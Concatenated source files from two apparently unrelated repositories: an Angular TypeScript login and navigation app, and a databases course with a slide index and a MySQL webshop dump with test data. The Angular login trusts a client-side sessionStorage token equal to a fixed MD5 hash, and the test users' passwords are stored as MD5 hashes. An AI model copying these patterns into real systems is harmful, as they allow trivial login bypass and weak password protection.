import { Router } from '@angular/router';
import { SistemaService } from '../sistema/sistema.service';
import { Md5 } from 'ts-md5/dist/md5';
@Injectable()
export class UtilService {
constructor(private router: Router,
public sistemaService: SistemaService) { }
public isLogado() {
let localObj = JSON.parse(sessionStorage.getItem("user"));
if (typeof (Storage) !== "undefined" && localObj && localObj.token === Md5.hashStr("<PASSWORD>-app")) {
return Promise.resolve(true);
}
return Promise.resolve(false);
}
public navigate(route: string) {
this.router.navigate([route]);
}
public getVersion(): string {
const { version: appVersion } = require('../../../../package.json'); // Versão da aplicação na package.json
let version: string = appVersion;
return version;
}
}<file_sep>/src/app/template/template.component.ts
import { Component, OnInit } from '@angular/core';
import { SuperComponentService } from '../services/supercomponent/supercomponent.service';
import { ToastyComponent } from '../utilcomponents/alertas/toasty/toasty.component';
import { SistemaService } from '../services/sistema/sistema.service';
import { UtilService } from '../services/util/util.service';
import { SubNavList } from '../mocks/subnav/subnav';
import { DynamicRouterService } from '../utilcomponents/dynamicrouter/dynamic-router.service';
import { PrincipalComponent } from '../utilcomponents/principalcomponent/principal.component';
@Component({
selector: 'template-component',
templateUrl: 'template.component.html',
styleUrls: ['template.component.css']
})
export class TemplateComponent extends SuperComponentService implements OnInit {
constructor(public toastyComponent: ToastyComponent,
public sistemaService: SistemaService,
public utilService: UtilService,
public dynamicRouterService: DynamicRouterService) {
super(toastyComponent, sistemaService);
}
public ngOnInit() {
this.sistemaService.version = this.utilService.getVersion();
this.utilService
.isLogado()
.then(result => {
if (!result) {
this.utilService.navigate("./entrar");
} else {
this.sistemaService.subNavMenus = SubNavList;
this.sistemaService.subNavAtivo = true;
this.sistemaService.liberarSubNav = true;
this.setToDynamicComponent(PrincipalComponent);
}
});
}
private setToDynamicComponent(component: any) {
// Sempre resetar para null antes de setar component
this.dynamicRouterService.component = null;
// Deixar timeout senão react não entende que mudou variavel na holder.
setTimeout(() => {
this.dynamicRouterService.component = component;
}, 1);
}
private sair() {
sessionStorage.clear();
this.utilService.navigate('./entrar');
}
}<file_sep>/src/app/app.module.ts
import { BrowserModule } from '@angular/platform-browser';
import { NgModule } from '@angular/core';
import { ClarityModule } from "@clr/angular";
import { AppComponent } from './app.component';
import { AppRoutingModule } from './app-routing.module';
import { ToastyModule } from 'ng2-toasty';
import { ToastyComponent } from './utilcomponents/alertas/toasty/toasty.component';
import { DynamicComponent } from './utilcomponents/dynamiccomponent/dynamic.component';
import { DynamicRouterComponent } from './utilcomponents/dynamicrouter/dynamic-router.component';
import { DynamicRouterService } from './utilcomponents/dynamicrouter/dynamic-router.service';
import { AlertService } from './services/alertservice/alert.service';
import { SuperComponentService } from './services/supercomponent/supercomponent.service';
import { RequestModule } from 'HttpEasyRequestForPostGet';
import { SuperService } from './services/superservice/super.service';
import { LinkService } from './services/linkservice/link.service';
import { LoadingComponent } from './utilcomponents/loading/loading.component';
import { SistemaService } from './services/sistema/sistema.service';
import { UtilService } from './services/util/util.service';
import { TemplateComponent } from './template/template.component';
import { SubnavComponent } from './utilcomponents/subnav/subnav.component';
import { LoginComponent } from './login/login.component';
import { FormsModule } from '@angular/forms';
import { PrincipalComponent } from './utilcomponents/principalcomponent/principal.component';
import { BaixaComponent } from './utilcomponents/baixacomponent/baixa.component';
import { MomentModule } from 'angular2-moment';
import { BrowserAnimationsModule } from '@angular/platform-browser/animations';
@NgModule({
declarations: [
AppComponent,
DynamicComponent,
DynamicRouterComponent,
ToastyComponent,
LoadingComponent,
TemplateComponent,
SubnavComponent,
LoginComponent,
PrincipalComponent,
BaixaComponent
],
imports: [
BrowserModule,
ClarityModule,
AppRoutingModule,
ToastyModule.forRoot(),
RequestModule,
FormsModule,
MomentModule,
BrowserAnimationsModule
],
providers: [
DynamicRouterService,
AlertService,
SuperComponentService,
SuperService,
LinkService,
SistemaService,
UtilService,
ToastyComponent
],
bootstrap: [AppComponent],
entryComponents: [
PrincipalComponent,
BaixaComponent
]
})
export class AppModule { }
<file_sep>/src/app/utilcomponents/baixacomponent/baixa.component.ts
import { Component, OnInit } from '@angular/core';
import { BaixaService } from './baixa.service';
import { Baixa } from '../../viewmodels/baixa/baixa';
import { SistemaService } from '../../services/sistema/sistema.service';
import { SuperComponentService } from '../../services/supercomponent/supercomponent.service';
import { ToastyComponent } from '../alertas/toasty/toasty.component';
@Component({
selector: 'baixa-component',
templateUrl: 'baixa.component.html',
styleUrls: ['baixa.component.css'],
providers: [BaixaService]
})
export class BaixaComponent extends SuperComponentService implements OnInit {
private baixas: Baixa[];
private editarBaixaModal: boolean = false;
private objBaixaModal: Baixa;
constructor(public sistemaService: SistemaService,
private baixaService: BaixaService,
toastyComponent: ToastyComponent) {
super(toastyComponent, sistemaService)
}
public ngOnInit() {
this.doGetLista();
}
private doGetLista() {
if (this.sistemaService.ableMock) {
this.getListaMock();
} else {
}
}
private getListaMock() {
this.baixaService
.getlistMock()
.then(resposta => {
this.baixas = resposta;
}, error => {
super.callToasty("Ops, Algo Aconteceu", "Não foi possivel carregar lista de baixa.", "error");
});
}
private abrirBaixaModal(baixa: Baixa) {
this.objBaixaModal = baixa;
this.editarBaixaModal = true;
}
private setBaixa() {
this.editarBaixaModal = false;
}
private setCloseBaixa() {
this.editarBaixaModal = false;
}
}<file_sep>/src/app/login/login.component.ts
import { Component, OnInit } from '@angular/core';
import { LoginService } from './login.service';
import { Usuario } from '../viewmodels/login/usuario';
import { AlertService } from '../services/alertservice/alert.service';
import { ToastyComponent } from '../utilcomponents/alertas/toasty/toasty.component';
import { SistemaService } from '../services/sistema/sistema.service';
import { UtilService } from '../services/util/util.service';
import { Md5 } from 'ts-md5/dist/md5';
@Component({
selector: 'login-component',
templateUrl: 'login.component.html',
providers: [LoginService]
})
export class LoginComponent extends AlertService implements OnInit {
private usuario = new Usuario();
private logando: boolean = false;
private msg: string;
private msgAtivo: boolean = false;
constructor(public toastyComponent: ToastyComponent,
public sistemaService: SistemaService,
private loginService: LoginService,
public utilService: UtilService) {
super(toastyComponent);
}
public ngOnInit() { }
private doEntrar() {
if (this.sistemaService.ableMock) {
this.entrarMock();
} else {
this.entrar();
}
}
private entrar() {
this.logando = true;
this.loginService
.autentica(this.usuario)
.then(resposta => {
if (resposta) {
this.loginService
.getUsuario(this.usuario)
.then(resposta => {
this.usuario = resposta;
sessionStorage.setItem('user', JSON.stringify({ user: this.usuario.login, nv: this.usuario.nivel, token: Md5.hashStr("<PASSWORD>") }));
this.utilService.navigate('./');
});
} else {
this.msg = "Senha incorreta, por favor verifique.";
this.msgAtivo = true;
this.usuario.senha = "";
}
}, error => {
this.usuario.login = "";
this.usuario.senha = "";
this.msg = "Usuário ou senha incorretos, por favor verifique.";
this.msgAtivo = true;
})
.then(() => {
this.logando = false;
});
}
private entrarMock() {
this.logando = true;
setTimeout(() => {
this.usuario = this.loginService.getUsuarioMock();
sessionStorage.setItem('user', JSON.stringify({ user: this.usuario.login, nv: this.usuario.nivel, token: Md5.hashStr("<PASSWORD>") }));
this.utilService.navigate('./');
this.logando = false;
}, 1000);
}
} | 6f21b9f31d63ea18d78cc8f83728742b4d7e6523 | [
"TypeScript"
] | 16 | TypeScript | pjefika/BaixaAngular | e7b6ff15a7804689e75941b3dabea19e1e846484 | 492b9369783a1956c32ad498eafb96e98dd9a859 |
refs/heads/master | <repo_name>SatoshiPortal/launchbtcpay<file_sep>/run.sh
#!/bin/bash
: "${BTCPAY_HOST:=[HOSTNAME]}"
: "${NBITCOIN_NETWORK:=[NETWORK]}"
: "${LETSENCRYPT_EMAIL:=[EMAIL]}"
: "${BTCPAY_DOCKER_REPO:=[REPOSITORY]}"
: "${BTCPAY_DOCKER_REPO_BRANCH:=[BRANCH]}"
: "${BTCPAYGEN_CRYPTO1:=[CRYPTO1]}"
: "${BTCPAYGEN_CRYPTO2:=[CRYPTO2]}"
: "${BTCPAYGEN_LIGHTNING:=[LIGHTNING]}"
: "${LIGHTNING_ALIAS:=[ALIAS]}"
: "${BTCPAYGEN_REVERSEPROXY:=nginx}"
: "${ACME_CA_URI:=https://acme-v01.api.letsencrypt.org/directory}"
BTCPAYGEN_ADDITIONAL_FRAGMENTS="opt-save-storage-s"
# Setup SSH access via private key
ssh-keygen -t rsa -f /root/.ssh/id_rsa_btcpay -q -P ""
echo "# Key used by BTCPay Server" >> /root/.ssh/authorized_keys
cat /root/.ssh/id_rsa_btcpay.pub >> /root/.ssh/authorized_keys
# Configure BTCPAY to have access to SSH
BTCPAY_HOST_SSHKEYFILE=/root/.ssh/id_rsa_btcpay
# Clone btcpayserver-docker
git clone $BTCPAY_DOCKER_REPO
cd btcpayserver-docker
git checkout $BTCPAY_DOCKER_REPO_BRANCH
. ./btcpay-setup.sh -i
[ -x "$(command -v /etc/init.d/sshd)" ] && nohup /etc/init.d/sshd restart &
[ -x "$(command -v /etc/init.d/ssh)" ] && nohup /etc/init.d/ssh restart &
| 9ff3798cba85d494d53035f1aa5fbe8f791784f1 | [
"Shell"
] | 1 | Shell | SatoshiPortal/launchbtcpay | 003c95ca8fb6b275fc498d1c7b0aa6c08598d146 | fbfa71b8dee6dffb188b3bdd2bd4509f552ef820 |
refs/heads/master | <file_sep>// daily activiy 1.5 please for the love of god 1.cpp : This file contains the 'main' function. Program execution begins and ends there.
//
#include <iostream>
#include <string>
using namespace std;
int main()
{
string name;
string verb;
string location;
string code1 = "3";
string code2 = "2";
string code3 = "1";
string text;
cout << "Who are you?" << endl;
getline(cin, name);
cout << "What appened?" << endl;
getline(cin, verb);
cout << "Where did you go?" << endl;
getline(cin, location);
text = name + " " + verb + " " + " while at " + location;
cout << text.substr(0, text.find(name));
cout << code1;
cout << text.substr(text.find(name) + name.length());
cout << text.substr(15, text.find(verb));
cout << code2;
cout << text.substr(text.find(verb) + verb.length());
cout << text.substr(26, text.find(location));
cout << code2;
cout << text.substr(text.find(location) + location.length());
}
| 66168194d83092000cfc1ef752f10c3b93d96ff4 | [
"C++"
] | 1 | C++ | calcbrae195/daily-activiy-1.5-please-for-the-love-of-god-1 | 47b9de86443d7e77a0ec568a0c939e10bf96b167 | ab8433ac89d0336e08c336a41610a62c1f2d5ba1 |
refs/heads/master | <repo_name>BioBoost/databases<file_sep>/index.html
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<ul>
<li>
<a href="Chapter_00_Databases.html">Chapter 0 - The Databases Course</a> -
<a href="Chapter_00_Databases.html?print-pdf">PRINT VERSION</a>
</li>
<li>
<a href="Chapter_01_IntroductionToDatabases.html">Chapter 1 - Introduction to databases</a> -
<a href="Chapter_01_IntroductionToDatabases.html?print-pdf">PRINT VERSION</a>
</li>
<li>
<a href="Chapter_02_RelationalDBMS.html">Chapter 2 - Relation DBMS</a> -
<a href="Chapter_02_RelationalDBMS.html?print-pdf">PRINT VERSION</a>
</li>
<li>
<a href="Chapter_03_ERModel.html">Chapter 3 - Data Modeling with the Entity-Relationship Model</a> -
<a href="Chapter_03_ERModel.html?print-pdf">PRINT VERSION</a>
</li>
<li>
<a href="Chapter_04_FromModelToDatabase.html">Chapter 4 - From data model to database</a> -
<a href="Chapter_04_FromModelToDatabase.html?print-pdf">PRINT VERSION</a>
</li>
<li>
<a href="Chapter_05_Normalization.html">Chapter 5 - Normalization</a> -
<a href="Chapter_05_Normalization.html?print-pdf">PRINT VERSION</a>
</li>
</ul>
</body>
</html><file_sep>/assets/Datamodels/webshop_with_test_data.sql
-- phpMyAdmin SQL Dump
-- version 4.0.4.1
-- http://www.phpmyadmin.net
--
-- Host: 127.0.0.1
-- Generation Time: Mar 20, 2014 at 08:59 PM
-- Server version: 5.5.32
-- PHP Version: 5.4.19
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
--
-- Database: `webshop`
--
CREATE DATABASE IF NOT EXISTS `webshop` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;
USE `webshop`;
-- --------------------------------------------------------
--
-- Table structure for table `addresses`
--
CREATE TABLE IF NOT EXISTS `addresses` (
`id` bigint(20) NOT NULL AUTO_INCREMENT,
`street` varchar(128) NOT NULL,
`number` varchar(32) NOT NULL,
`extension` varchar(32) DEFAULT NULL,
`city` varchar(128) NOT NULL,
`zipcode` varchar(32) NOT NULL,
`country` varchar(64) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=13 ;
--
-- Dumping data for table `addresses`
--
INSERT INTO `addresses` (`id`, `street`, `number`, `extension`, `city`, `zipcode`, `country`) VALUES
(1, 'Zeedijk', '101', NULL, 'OOSTENDE', '8400', 'belgium'),
(2, 'Langestraat', '43', NULL, 'OOSTENDE', '8400', 'belgium'),
(3, 'Stationslaan', '13', 'b4', 'BRUGGE', '8545', 'belgium'),
(4, 'Bergsesteenweg', '202', NULL, 'ROESELARE', '5634', 'belgium'),
(5, 'Hogeweg', '123', NULL, 'EREMBODEGEM', '8454', 'belgium'),
(6, 'Laagdeurlaan', '654', NULL, 'AALST', '4543', 'belgium'),
(7, 'Luikersteenweg', '151', NULL, 'TONGEREN', '3700', 'belgium'),
(8, 'Mechelsesteenweg', '152', NULL, 'EDEGEM', '2650', 'belgium'),
(9, 'Fakestreet', '101', 'O23', 'DILBEEK', '4324', 'belgium'),
(10, 'Industriepark', '12', 'P19', 'ANTWERPEN', '9872', 'belgium'),
(11, 'Genelaan', '980', NULL, 'BRUSSEL', '3432', 'belgium'),
(12, 'Markelaan', '527', NULL, 'POPERINGE', '7432', 'belgium');
-- --------------------------------------------------------
--
-- Table structure for table `articles`
--
CREATE TABLE IF NOT EXISTS `articles` (
`id` bigint(20) NOT NULL AUTO_INCREMENT,
`description` text NOT NULL,
`image` varchar(256) DEFAULT NULL,
`unit_price` decimal(9,2) DEFAULT NULL,
`brands_id` bigint(20) NOT NULL,
`categories_id` bigint(20) NOT NULL,
PRIMARY KEY (`id`),
KEY `fk_articles_brands_idx` (`brands_id`),
KEY `fk_articles_categories1_idx` (`categories_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=30 ;
--
-- Dumping data for table `articles`
--
INSERT INTO `articles` (`id`, `description`, `image`, `unit_price`, `brands_id`, `categories_id`) VALUES
(1, 'TriCool 80mm', NULL, '3.99', 1, 5),
(2, '1150 i7-4770K', NULL, '313.27', 2, 2),
(3, 'Scorpio BLUE 750GB SATA3', NULL, '50.65', 3, 6),
(4, 'DDR1 400 1GB', NULL, '28.50', 4, 1),
(5, '1155 i3-3220', NULL, '111.96', 2, 2),
(6, '2011 i7-3970X', NULL, '930.35', 2, 2),
(7, 'FM2 5400K Blk Ed 1MB 3.6Mhz 65W', NULL, '50.88', 5, 2),
(8, 'SickleFlow 120 Green LED', NULL, '5.20', 6, 5),
(9, 'Blizzard T2', NULL, '13.81', 6, 5),
(10, 'SoDimm DDR1 400 1GB', NULL, '26.76', 4, 1),
(11, '3,5" sata3 3TB caviar green', NULL, '110.39', 3, 6),
(12, 'GTX 770 4GB WINDFORCE', NULL, '383.45', 7, 4),
(13, '3,5" 1TB Barracuda', NULL, '107.25', 8, 6),
(14, 'DDR3. 2133MHz 16GB 4x240 Dimm.', NULL, '173.51', 4, 1),
(15, 'GTX 750 1GB', NULL, '121.43', 7, 4),
(16, 'Scorpio BLACK 500GB SATA2', NULL, '69.95', 3, 6),
(17, 'GT630 2GB', NULL, '69.99', 9, 4),
(18, '1155 i5-3570', NULL, '187.02', 2, 2),
(19, 'SSD 840 EVO 250GB SATA Basic', NULL, '150.27', 10, 6),
(20, 'Nvidia 210', NULL, '21.09', 9, 4),
(21, 'DDR1 400 1GB', NULL, '28.50', 4, 1),
(22, 'SoDimm DDR1 333 1GB', NULL, '31.56', 4, 1),
(23, 'DDR2 2GB 667MHz CL5', NULL, '33.39', 4, 1),
(24, 'GT 610 1GB', NULL, '37.81', 7, 4),
(25, 'GT610 2GB', NULL, '44.54', 7, 4),
(26, 'GT610 2GB low profile', NULL, '46.37', 9, 4),
(27, 'DDR3 1600 2x2GB XMS', NULL, '45.10', 4, 1),
(28, 'Scorpio BLUE 250GB SATA3', NULL, '44.11', 3, 6),
(29, 'Scorpio BLUE 320GB SATA3', NULL, '44.38', 3, 6);
-- --------------------------------------------------------
--
-- Table structure for table `articles_suppliers`
--
CREATE TABLE IF NOT EXISTS `articles_suppliers` (
`suppliers_id` bigint(20) NOT NULL,
`articles_id` bigint(20) NOT NULL,
PRIMARY KEY (`suppliers_id`,`articles_id`),
KEY `fk_articles_suppliers_suppliers1_idx` (`suppliers_id`),
KEY `fk_articles_suppliers_articles1_idx` (`articles_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Dumping data for table `articles_suppliers`
--
INSERT INTO `articles_suppliers` (`suppliers_id`, `articles_id`) VALUES
(1, 1),
(1, 2),
(1, 3),
(1, 4),
(1, 6),
(1, 7),
(1, 8),
(1, 9),
(1, 10),
(1, 12),
(1, 16),
(1, 20),
(1, 23),
(1, 24),
(1, 25),
(1, 26),
(1, 28),
(1, 29),
(2, 2),
(2, 3),
(2, 4),
(2, 5),
(2, 7),
(2, 8),
(2, 10),
(2, 11),
(2, 13),
(2, 17),
(2, 19),
(2, 21),
(2, 23),
(2, 24),
(2, 25),
(2, 27),
(3, 1),
(3, 2),
(3, 3),
(3, 4),
(3, 6),
(3, 9),
(3, 10),
(3, 11),
(3, 13),
(3, 15),
(3, 18),
(3, 19),
(3, 20),
(3, 21),
(3, 23),
(3, 25),
(3, 26),
(3, 27),
(3, 28),
(4, 1),
(4, 5),
(4, 6),
(4, 9),
(4, 11),
(4, 12),
(4, 13),
(4, 14),
(4, 15),
(4, 17),
(4, 18),
(4, 19),
(4, 20),
(4, 22),
(4, 29);
-- --------------------------------------------------------
--
-- Table structure for table `brands`
--
CREATE TABLE IF NOT EXISTS `brands` (
`id` bigint(20) NOT NULL AUTO_INCREMENT,
`name` varchar(128) NOT NULL,
`url` varchar(128) DEFAULT NULL,
`logo` varchar(128) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=11 ;
--
-- Dumping data for table `brands`
--
INSERT INTO `brands` (`id`, `name`, `url`, `logo`) VALUES
(1, 'Antec', NULL, NULL),
(2, 'Intel', NULL, NULL),
(3, 'Western Digital', NULL, NULL),
(4, 'Corsair', NULL, NULL),
(5, 'AMD', NULL, NULL),
(6, 'Coolermaster', NULL, NULL),
(7, 'Gigabyte', NULL, NULL),
(8, 'Seagate', NULL, NULL),
(9, 'Asus', NULL, NULL),
(10, 'Samsung', NULL, NULL);
-- --------------------------------------------------------
--
-- Table structure for table `categories`
--
CREATE TABLE IF NOT EXISTS `categories` (
`id` bigint(20) NOT NULL AUTO_INCREMENT,
`name` varchar(128) NOT NULL,
`description` text NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=7 ;
--
-- Dumping data for table `categories`
--
INSERT INTO `categories` (`id`, `name`, `description`) VALUES
(1, 'memory', 'Description of memory'),
(2, 'cpu', 'Description of cpu'),
(3, 'case', 'Description of case'),
(4, 'graphics card', 'Description of graphics card'),
(5, 'cooling', 'Description of cooling'),
(6, 'storage', 'Description of storage');
-- --------------------------------------------------------
--
-- Table structure for table `reviews`
--
CREATE TABLE IF NOT EXISTS `reviews` (
`id` bigint(20) NOT NULL AUTO_INCREMENT,
`message` text NOT NULL,
`score` int(11) NOT NULL,
`articles_id` bigint(20) NOT NULL,
`users_id` bigint(20) NOT NULL,
`date` datetime NOT NULL,
PRIMARY KEY (`id`),
KEY `fk_reviews_articles1_idx` (`articles_id`),
KEY `fk_reviews_users1_idx` (`users_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=40 ;
--
-- Dumping data for table `reviews`
--
INSERT INTO `reviews` (`id`, `message`, `score`, `articles_id`, `users_id`, `date`) VALUES
(1, 'This is a review of 3,5" 1TB Barracudadone by Mark', 5, 13, 2, '2014-03-20 20:25:40'),
(2, 'This is a review of SoDimm DDR1 400 1GBdone by Jenny', 0, 10, 5, '2014-03-20 20:25:40'),
(3, 'This is a review of GT610 2GBdone by Jenny', 1, 25, 5, '2014-03-20 20:25:40'),
(4, 'This is a review of GTX 750 1GBdone by Leroy', 2, 15, 3, '2014-03-20 20:25:40'),
(5, 'This is a review of Scorpio BLUE 250GB SATA3done by Mark', 1, 28, 2, '2014-03-20 20:25:40'),
(6, 'This is a review of SickleFlow 120 Green LEDdone by Jenny', 10, 8, 5, '2014-03-20 20:25:40'),
(7, 'This is a review of GT610 2GB low profiledone by Sandra', 2, 26, 6, '2014-03-20 20:25:40'),
(8, 'This is a review of SickleFlow 120 Green LEDdone by Laura', 9, 8, 4, '2014-03-20 20:25:40'),
(9, 'This is a review of Nvidia 210done by Leroy', 1, 20, 3, '2014-03-20 20:25:40'),
(10, 'This is a review of 3,5" 1TB Barracudadone by Mark', 9, 13, 3, '2014-03-20 20:25:40'),
(11, 'This is a review of SoDimm DDR1 333 1GBdone by Sandra', 3, 22, 6, '2014-03-20 20:25:40'),
(12, 'This is a review of TriCool 80mmdone by Leroy', 0, 1, 3, '2014-03-20 20:25:40'),
(13, 'This is a review of DDR3 1600 2x2GB XMSdone by Nico', 0, 27, 1, '2014-03-20 20:25:40'),
(14, 'This is a review of DDR1 400 1GBdone by Jenny', 8, 4, 5, '2014-03-20 20:25:40'),
(15, 'This is a review of Nvidia 210done by Laura', 9, 20, 4, '2014-03-20 20:25:40'),
(16, 'This is a review of SoDimm DDR1 333 1GBdone by Laura', 0, 22, 4, '2014-03-20 20:25:40'),
(17, 'This is a review of GT630 2GBdone by Laura', 4, 17, 4, '2014-03-20 20:25:40'),
(18, 'This is a review of 1155 i5-3570done by Mark', 4, 18, 2, '2014-03-20 20:25:40'),
(19, 'This is a review of GT630 2GBdone by Laura', 8, 17, 1, '2014-03-20 20:25:40'),
(20, 'This is a review of SickleFlow 120 Green LEDdone by Mark', 8, 8, 2, '2014-03-20 20:25:40'),
(21, 'This is a review of SSD 840 EVO 250GB SATA Basicdone by Nico', 3, 19, 1, '2014-03-20 20:25:40'),
(22, 'This is a review of GTX 750 1GBdone by Jenny', 8, 15, 5, '2014-03-20 20:25:40'),
(23, 'This is a review of GTX 750 1GBdone by Laura', 4, 15, 4, '2014-03-20 20:25:40'),
(24, 'This is a review of GT 610 1GBdone by Sandra', 0, 24, 6, '2014-03-20 20:25:40'),
(25, 'This is a review of GT610 2GB low profiledone by Leroy', 7, 26, 3, '2014-03-20 20:25:40'),
(26, 'This is a review of SoDimm DDR1 400 1GBdone by Leroy', 8, 10, 3, '2014-03-20 20:25:40'),
(27, 'This is a review of Scorpio BLUE 320GB SATA3done by Laura', 2, 29, 4, '2014-03-20 20:25:40'),
(28, 'This is a review of 3,5" sata3 3TB caviar greendone by Nico', 7, 11, 1, '2014-03-20 20:25:40'),
(29, 'This is a review of GT610 2GB low profiledone by Leroy', 5, 26, 4, '2014-03-20 20:25:40'),
(30, 'This is a review of 1155 i5-3570done by Nico', 9, 18, 1, '2014-03-20 20:25:40'),
(31, 'This is a review of DDR1 400 1GBdone by Sandra', 9, 21, 6, '2014-03-20 20:25:40'),
(32, 'This is a review of 1150 i7-4770Kdone by Leroy', 1, 2, 3, '2014-03-20 20:25:40'),
(33, 'This is a review of DDR3. 2133MHz 16GB 4x240 Dimm. done by Jenny', 4, 14, 5, '2014-03-20 20:25:40'),
(34, 'This is a review of DDR2 2GB 667MHz CL5done by Mark', 4, 23, 2, '2014-03-20 20:25:40'),
(35, 'This is a review of SoDimm DDR1 400 1GBdone by Laura', 7, 10, 4, '2014-03-20 20:25:40'),
(36, 'This is a review of GT610 2GB low profiledone by Leroy', 0, 26, 3, '2014-03-20 20:25:40'),
(37, 'This is a review of GT610 2GB low profiledone by Nico', 0, 26, 1, '2014-03-20 20:25:40'),
(38, 'This is a review of 1155 i5-3570done by Laura', 9, 18, 4, '2014-03-20 20:25:40'),
(39, 'This is a review of DDR1 400 1GBdone by Mark', 10, 4, 2, '2014-03-20 20:25:40');
-- --------------------------------------------------------
--
-- Table structure for table `stores`
--
CREATE TABLE IF NOT EXISTS `stores` (
`id` bigint(20) NOT NULL AUTO_INCREMENT,
`name` varchar(128) NOT NULL,
`addresses_id` bigint(20) NOT NULL,
PRIMARY KEY (`id`),
KEY `fk_stores_addresses1_idx` (`addresses_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=3 ;
--
-- Dumping data for table `stores`
--
INSERT INTO `stores` (`id`, `name`, `addresses_id`) VALUES
(1, 'EuroSys Tongeren', 7),
(2, 'ForCom Edegem', 8);
-- --------------------------------------------------------
--
-- Table structure for table `stores_articles`
--
CREATE TABLE IF NOT EXISTS `stores_articles` (
`stores_id` bigint(20) NOT NULL,
`articles_id` bigint(20) NOT NULL,
`quantity` int(11) NOT NULL,
PRIMARY KEY (`stores_id`,`articles_id`),
KEY `fk_stores_articles_stores1_idx` (`stores_id`),
KEY `fk_stores_articles_articles1` (`articles_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Dumping data for table `stores_articles`
--
INSERT INTO `stores_articles` (`stores_id`, `articles_id`, `quantity`) VALUES
(1, 1, 41),
(1, 2, 47),
(1, 4, 21),
(1, 5, 36),
(1, 6, 43),
(1, 7, 22),
(1, 9, 25),
(1, 10, 2),
(1, 12, 23),
(1, 13, 9),
(1, 14, 49),
(1, 16, 7),
(1, 17, 10),
(1, 18, 8),
(1, 19, 9),
(1, 21, 12),
(1, 22, 20),
(1, 24, 0),
(1, 25, 31),
(1, 26, 39),
(1, 28, 15),
(1, 29, 48),
(2, 1, 42),
(2, 2, 44),
(2, 3, 34),
(2, 4, 32),
(2, 7, 35),
(2, 8, 22),
(2, 9, 42),
(2, 10, 18),
(2, 11, 33),
(2, 12, 28),
(2, 15, 22),
(2, 16, 44),
(2, 17, 40),
(2, 18, 18),
(2, 20, 34),
(2, 21, 47),
(2, 23, 49),
(2, 24, 30),
(2, 26, 20),
(2, 27, 27),
(2, 28, 33),
(2, 29, 48);
-- --------------------------------------------------------
--
-- Table structure for table `suppliers`
--
CREATE TABLE IF NOT EXISTS `suppliers` (
`id` bigint(20) NOT NULL AUTO_INCREMENT,
`name` varchar(128) NOT NULL,
`url` varchar(256) DEFAULT NULL,
`addresses_id` bigint(20) NOT NULL,
PRIMARY KEY (`id`),
KEY `fk_suppliers_addresses1_idx` (`addresses_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=5 ;
--
-- Dumping data for table `suppliers`
--
INSERT INTO `suppliers` (`id`, `name`, `url`, `addresses_id`) VALUES
(1, 'FakeGen', 'http://www.FakeGen.com', 9),
(2, 'CorpSync', 'http://www.CorpSync.com', 10),
(3, 'GenoMaker', 'http://www.GenoMaker.com', 11),
(4, 'MakeItFast', 'http://www.MakeItFast.com', 12);
-- --------------------------------------------------------
--
-- Table structure for table `users`
--
CREATE TABLE IF NOT EXISTS `users` (
`id` bigint(20) NOT NULL AUTO_INCREMENT,
`firstname` varchar(128) NOT NULL,
`lastname` varchar(128) NOT NULL,
`username` varchar(64) NOT NULL,
`passhash` varchar(128) NOT NULL,
`salt` varchar(128) NOT NULL,
`email` varchar(128) NOT NULL,
`active` tinyint(1) NOT NULL,
`created` datetime NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `username_UNIQUE` (`username`),
UNIQUE KEY `email_UNIQUE` (`email`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=7 ;
--
-- Dumping data for table `users`
--
INSERT INTO `users` (`id`, `firstname`, `lastname`, `username`, `passhash`, `salt`, `email`, `active`, `created`) VALUES
(1, 'Nico', '<NAME>', 'nicodw', '<PASSWORD>', '<PASSWORD>', '<EMAIL>', 1, '2014-03-20 20:25:12'),
(2, 'Mark', '<PASSWORD>', 'markt', '<PASSWORD>', '<PASSWORD>', '<EMAIL>', 1, '2014-03-20 20:25:12'),
(3, 'Leroy', 'Jenkins', 'leroy', 'd41d8cd98f00b204e9800998ecf8427e', 'd83f7ffb06fca19fa8a39b314a152ccc', '<EMAIL>', 1, '2014-03-20 20:25:12'),
(4, 'Laura', 'Hody', 'laudy', 'ce933b72253890bb2bbec1223e58a5fd', 'c77bc09ed4c7a36957f88f54600b02e9', '<EMAIL>', 1, '2014-03-20 20:25:12'),
(5, 'Jenny', 'Morki', 'jenjen', '11257a9b387f55366958d3c47c24aa74', 'c2e12b7a0fbd36bf137efacd2e56ed93', '<EMAIL>', 1, '2014-03-20 20:25:12'),
(6, 'Sandra', 'Testings', 'sandra', '314787ed5cce38ce8cac1692d4b61a46', '6fe4e4b6a030538a233dd89dfd8eb178', '<EMAIL>', 1, '2014-03-20 20:25:12');
-- --------------------------------------------------------
--
-- Table structure for table `users_addresses`
--
CREATE TABLE IF NOT EXISTS `users_addresses` (
`users_id` bigint(20) NOT NULL,
`addresses_id` bigint(20) NOT NULL,
PRIMARY KEY (`users_id`,`addresses_id`),
KEY `fk_users_addresses_users1_idx` (`users_id`),
KEY `fk_users_addresses_addresses1_idx` (`addresses_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Dumping data for table `users_addresses`
--
INSERT INTO `users_addresses` (`users_id`, `addresses_id`) VALUES
(1, 1),
(2, 2),
(3, 3),
(4, 4),
